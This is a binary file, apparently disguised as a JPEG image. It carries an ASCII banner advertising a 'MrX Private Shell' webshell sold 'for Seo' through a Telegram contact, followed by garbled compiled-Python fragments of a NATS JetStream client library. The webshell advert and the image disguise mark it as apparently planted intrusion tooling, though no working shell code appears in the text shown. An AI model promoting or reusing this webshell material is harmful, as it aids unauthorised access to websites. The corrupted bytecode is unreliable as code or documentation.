����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
�L� #��� � � d dl mZ d dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
mZmZm
Z
mZmZmZ d dlZd dlZd dlmZ d dlmZ d dlmZ d d lmZmZmZmZmZ d d
lm Z d dl!m"Z" d dl#m$Z$m%Z%m&Z&m'Z'm(Z( e
rd d
lm)Z) dZ* e+d� � Z, e-e,� � Z.dZ/ e-e/� � Z0dZ1dZ2e
dged f Z3dZ4dZ5dZ6 G d� de"� � Z7dS )� )�annotationsN)�BytesParser)� token_hex)�
TYPE_CHECKING�Any� Awaitable�Callable�Dict�List�Optional)�Msg)�Subscription)�api)�BadBucketError�BucketNotFoundError�FetchTimeoutError�InvalidBucketNameError�
NotFoundError)�KeyValue)�JetStreamManager)�OBJ_ALL_CHUNKS_PRE_TEMPLATE�OBJ_ALL_META_PRE_TEMPLATE�OBJ_STREAM_TEMPLATE�VALID_BUCKET_RE�ObjectStore)�NATS�503s NATS/1.0s
zKV_{bucket}z
$KV.{bucket}.r
i i �@ c � � e Zd ZdZej dddfdbd�Zedcd�� � Zddd�Z ded�Z
dfdgd"�Z dfdhd&�Zdid'�Z
ddd(�Zdddddd)d)dd)eedddfdjd=�Zdd)d)eefdkd@�ZedldC�� � ZdddeedfdmdG�ZdddeeddfdndI�ZedodK�� � ZedpdM�� � ZedqdN�� � ZedqdO�� � ZedrdQ�� � Z G dR� dS� � Z G dT� d<e� � Z G dU� dV� � Z dsdY�Z! dtdud[�Z"dvd\�Z#dwd^�Z$ dxdyd`�Z%dvda�Z&dS )z�JetStreamContextaT
Fully featured context for interacting with JetStream.
:param conn: NATS Connection
:param prefix: Default JetStream API Prefix.
:param domain: Optional domain used by the JetStream API.
:param timeout: Timeout for all JS API actions.
:param publish_async_max_pending: Maximum outstanding async publishes that can be inflight at one time.
::
import asyncio
import nats
async def main():
nc = await nats.connect()
js = nc.jetstream()
await js.add_stream(name='hello', subjects=['hello'])
ack = await js.publish('hello', b'Hello JS!')
print(f'Ack: stream={ack.stream}, sequence={ack.seq}')
# Ack: stream=hello, sequence=1
await nc.close()
if __name__ == '__main__':
asyncio.run(main())
N� i� �connr �prefix�str�domain�
Optional[str]�timeout�float�publish_async_max_pending�int�return�Nonec � � || _ |�d|� d�| _ || _ || _ t � � | _ d | _ i | _ t j � � | _ | j �
� � t j |� � | _ d S )Nz$JS.z.API)
�_prefix�_nc�_timeoutr �_hdr_parser�_async_reply_prefix�_publish_async_futures�asyncio�Event�_publish_async_completed_event�set� Semaphore� _publish_async_pending_semaphore)�selfr"